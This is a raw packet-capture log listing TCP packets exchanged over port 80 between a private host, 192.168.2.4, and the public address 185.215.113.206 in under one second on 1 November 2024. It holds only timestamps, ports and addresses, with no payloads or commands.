Nov 1, 2024 05:52:09.921714067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:09.961322069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.961338997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.961354971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:09.961452007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.000881910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000899076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000924110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000938892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000957012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000973940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.000991106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.001007080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.001004934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.001077890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.001507998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.001547098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.001569033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.001607895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039359093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039376020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039391994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039407969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039424896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039442062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039511919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039535999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039551020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039567947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039585114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039617062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039805889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039823055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039839029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039863110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039863110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.039889097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.039916039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.040216923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040232897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040255070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040296078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.040323973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.040456057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040472031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040488005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040503025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.040510893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.040530920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.040565014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.080171108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.080204010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.080219984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.080240011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.080291986 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.119996071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120011091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120028019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120042086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120059013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120112896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120148897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120168924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120187044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120203018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120218039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120223999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120248079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120249033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120276928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120313883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120697975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120713949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120729923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.120758057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.120784044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160521030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160536051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160552025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160576105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160617113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160657883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160680056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160696030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160703897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160712004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160729885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160741091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160752058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160768986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160772085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160789013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160793066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160805941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160818100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160820007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160836935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160837889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160855055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160871029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160882950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160887003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.160912037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.160944939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.199166059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.199187994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.199206114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.199220896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.199238062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.199263096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.199295998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.199295998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.239989042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240006924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240022898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240047932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240072966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240134001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240150928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240204096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240297079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240313053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240345955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240382910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240458965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240474939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240497112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240518093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240531921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240552902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240900993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240916967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240931034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.240952015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.240967989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278408051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278433084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278450966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278465033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278469086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278484106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278500080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278515100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278516054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278539896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278556108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278558969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278558969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278570890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278587103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278590918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278604031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278625965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278628111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278641939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278647900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278660059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278671980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278677940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.278698921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.278736115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.319879055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.319897890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.319920063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.319936037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.319952011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.319979906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.320020914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.320029020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.320038080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.320055962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.320085049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.320121050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.358968973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359052896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359097958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359164953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359281063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359297037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359321117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359334946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359340906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359354019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359363079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359371901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359407902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359460115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359611034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359740973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359756947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359774113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.359798908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.359837055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397552013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397568941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397583961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397592068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397607088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397641897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397691011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397711992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397727966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397742987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397764921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397793055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397849083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397875071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397897005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397926092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397926092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.397942066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.397958040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.398123026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.398792982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.398809910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.398825884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.398843050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.398876905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.398901939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438091993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438107967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438124895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438139915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438179016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438219070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438235998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438240051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438277960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438344002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438560009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438575983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438591957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.438631058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.438644886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.477895975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.477911949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.477927923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.477992058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478030920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478041887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478054047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478095055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478111982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478224993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478240013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478270054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478300095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478368044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478426933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478543043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478558064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478574038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478590012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.478598118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478631020 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.478673935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.479036093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.479049921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.479064941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.479127884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.479168892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516294003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516309977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516381979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516443968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516462088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516477108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516506910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516515970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516572952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516788960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516803980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516819000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516854048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516882896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.516930103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.516989946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517105103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517122030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517163992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517190933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517249107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517265081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517282009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517307997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517354012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517873049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517889023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517904043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.517930031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.517962933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.555953979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.555970907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.555984974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556009054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.556037903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.556171894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556186914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556210041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556224108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556226969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.556241035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556257963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556266069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.556274891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556289911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.556303024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.556337118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.595848083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595868111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595885992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595902920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595917940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595932961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.595956087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596023083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596281052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596312046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596340895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596399069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596415997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596441984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596457005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596463919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596486092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596515894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596661091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596681118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596723080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596748114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596786976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596802950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596818924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.596847057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.596879005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:10.634131908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634151936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634176970 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634192944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:10.634202957 CET	49730	80	192.168.2.4	185.215.113.206
